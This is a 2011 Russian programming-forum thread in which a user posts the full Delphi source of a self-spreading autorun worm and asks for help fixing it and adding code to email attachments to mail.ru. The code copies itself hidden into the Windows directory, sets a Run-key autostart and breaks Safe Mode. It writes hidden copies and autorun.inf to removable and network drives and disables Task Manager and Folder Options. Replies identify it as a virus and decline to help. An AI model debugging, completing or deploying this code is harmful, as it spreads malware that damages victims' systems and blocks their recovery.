|
Вопрос # 5 109/ вопрос открыт / |
|
Здравствуйте, эксперты!
Доброго времени суток, уважаемые эксперты!
уже вторую неделю не могу умучить(написать) прогу све пишет какие то ошибки или отказывается работать,пожалуста помогите....
привожу код проги выдает ошибку при запуске когда вызывается копирование на флешку и нэт-диск,помогите решить эту проблему плиз...
И еше подскажите в написании к этой же программе процедуры для отправки письма на mail.ru с вложением зарание спасибо.....
Приложение: Переключить в обычный режим- unit Unit1;
-
- interface
-
- uses
- Windows,
- Messages,
- SysUtils,
- Variants,
- Classes,
- Graphics,
- Controls,
- Forms,
- Dialogs,
- StdCtrls,
- Registry,
- shellapi,
- inifiles,
- IdComponent,
- IdTCPServer,
- IdSMTPServer,
- IdBaseComponent,
- IdMessage, IdTCPConnection,
- IdTCPClient, IdMessageClient, IdSMTP;
-
- type
- TForm1 = class(TForm)
- msg: TIdMessage;
- IdSMTP2: TIdSMTP;
- private
- { Private declarations }
-
- public
- { Public declarations }
- {Connect for Novell}
- end;
-
- var
- Form1: TForm1;
- reg : TRegistry;
-
- implementation
-
- {$R *.dfm}
-
- function WinDir: string;
- var
- WinDir: PChar;
- begin
- WinDir := StrAlloc(MAX_PATH);
- GetWindowsDirectory(WinDir, MAX_PATH);
- Result := string(WinDir);
- if Result[Length(Result)] <> '\' then
- Result := Result + '\';
- StrDispose(WinDir);
- end;
-
- procedure CopyWin;
- begin
- if
- not FileExists(WinDir+'Nyhia.exe')
- then
- begin
- CopyFile(PChar(ParamStr(0)), PChar(WinDir+'Nyhia.exe'),True);
- SetFileAttributes(PChar(WinDir+'Nyhia.exe'),FILE_ATTRIBUTE_HIDDEN);
- halt;
- end
- else
- sleep(1);
- end;
-
- procedure InFect(FileName: String);
- var
- F : TextFile;
- text : string;
- begin
- AssignFile(F,FileName);
- ReWrite(F);
- WriteLn(F,'[AUTORUN]');
- Write(F,'shellexecute=Novell.exe');
-
- Write(F,'shell\explore\Command=Novell.exe');
-
-
- Write(F,'shell\open\Command=Novell.exe');
- CloseFile(F);
- Reset(F);
- while not Eof(F) do
- begin
- ReadLn(F, text);
- end;
- CloseFile(F);
- end;
-
- procedure registr;
- begin
- reg:=TRegistry.Create;
- reg.RootKey:=HKEY_LOCAL_MACHINE;
- if not Reg.KeyExists('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NovellNT') then
- begin
- reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\minimal','System\CurrentControlSet\Control\SafeBoot\M',true);
- reg.CloseKey;
- reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);
- reg.CloseKey;
- reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
- reg.WriteString('NovellNT', WinDir+'Nyhia.exe');
- reg.CloseKey;
- reg.free;
- end
- else
- sleep(1);
- end;
-
-
- procedure Click;
-
- var
- x: int64;
- bit: integer;
- i: integer;
- tp: Uint;
- tip: string;
-
- begin
- x:=GetLogicalDrives();
- if
- x=0
- then
- else
- begin
- for i:=1 to 64 do
-
- begin
- bit:=x and 1;
- if
- bit=1
- then
-
- begin
- tp:=GetDriveType(PChar(chr(64+i)+':/'));
- tip:='';
- if
- tp=DRIVE_REMOVABLE
- then
-
- begin
- CopyFile(PChar(ParamStr(0)), PChar(chr(64+i)+':/'+'novell.exe'),True);
- SetFileAttributes(PChar(chr(64+i)+':/'+'novell.exe'),FILE_ATTRIBUTE_HIDDEN);
- InFect(PChar(chr(64+i)+':/'+'autorun.inf'));
- SetFileAttributes(PChar(chr(64+i)+':/'+'autorun.inf'),FILE_ATTRIBUTE_HIDDEN);
- end;
-
- if
- tp=DRIVE_FIXED
- then
-
-
- if
- tp=DRIVE_REMOTE
- then
- tip:='remote (network)';
- begin
- CopyFile(PChar(ParamStr(0)), PChar(chr(64+i)+':/'+'novell.exe'),True);
- SetFileAttributes(PChar(chr(64+i)+':/'+'novell.exe'),FILE_ATTRIBUTE_HIDDEN);
- InFect(PChar(chr(64+i)+':/'+'autorun.inf'));
- SetFileAttributes(PChar(chr(64+i)+':/'+'autorun.inf'),FILE_ATTRIBUTE_HIDDEN);
- end;
-
- if
- tp=DRIVE_CDROM
- then
- tip:='CDROM';
-
- if
- tp=DRIVE_RAMDISK
- then
- tip:='RAM disk';
- end;
-
- x:= x shr 1;
- end;
- end;
- end;
-
- procedure WinOff;
- var
- R : TRegistry;
- begin
- R:=TRegistry.Create;
- R.RootKey:= HKEY_CURRENT_USER;
- R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced',True);
- R.WriteInteger('Hidden',0);
- R.CloseKey;
-
R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL',True);
- R.WriteInteger('CheckedValue',0);
- R.CloseKey;
- R.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',True);
- R.WriteInteger('NoFolderOptions',1);
- R.CloseKey;
- R.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
- R.WriteInteger('DisableTaskMgr',1);
- R.closekey;
- R.Free;
- end;
-
- begin
- CopyWin;
- registr;
- Click;
- WinOff;
- exit;
- Halt(4);
- end.
-
 |
Вопрос задал: Novell (статус: Посетитель)
Вопрос отправлен: 21 марта 2011, 14:07
Состояние вопроса: открыт, ответов: 0.
|
Мини-форум вопроса
Всего сообщений: 5; последнее сообщение — 22 марта 2011, 04:44; участников в обсуждении: 4.
|
min@y™ (статус: Доктор наук), 21 марта 2011, 14:11 [#1]:
Исходник с таким чудовищным форматированием читать не хочется - глаза режет.
Цитата (Novell):
привожу код проги выдает ошибку при запуске когда вызывается копирование на флешку и нэт-диск
Ошибка в какой строке? Какое сообщение об ошибке выдаётся?
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
Вадим К (статус: Академик), 21 марта 2011, 14:39 [#2]:
код в некоторых местах просто жуть. к примеру
exit;
Halt(4);
это как? если exit не сработал, то мы прибем приложение? Вообще то halt применять в обычном приложении не стоит. оно не для того.
Просмотрев весь код, очень похоже на авторан вирус. Разберем к примеру, что пишется в реестр
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced = hidden (Показывать/непоказывать скрытые файлы. Кстати, значение 0 там ничего не дает. там другие цифры нужно писать).
дальше, отключено выбор свойств папки и менеджер задач. Только эти три поля заставляют нормального человека задуматься.
Вердикт - перед нами начинающий вирусописатель, но немного необразованный. Да и само имя дроппера "Nyhia.exe" выглядит уж очень подозрительным.
Novell - докажи обратное.
Галочка "подтверждения прочтения" - вселенское зло.
|
|
min@y™ (статус: Доктор наук), 21 марта 2011, 14:45 [#3]:
Запись файла Autorun.inf на съёмные носители тоже вызывает ОЧЕНЬ нехорошие мысли. Айяйяй!..
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
|
Amidamaru (статус: 4-ый класс), 21 марта 2011, 14:46 [#4]:
ужас! да ещё и инди...
И действительно, даже мои первые программки, условно нарушающие работу системы, были намного изящнее
правда я не использовал код для самораспространения, темболее по сети.
|
|
Novell (статус: Посетитель), 22 марта 2011, 04:44 [#5]:
ладно надеюсь все высказали свое мнение о вирусологии....,я так понимаю подсказать как избавиться от ошибки не кто не хочет... ладно спосиб,буду искать помощи в другом месте.......
|
Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.
|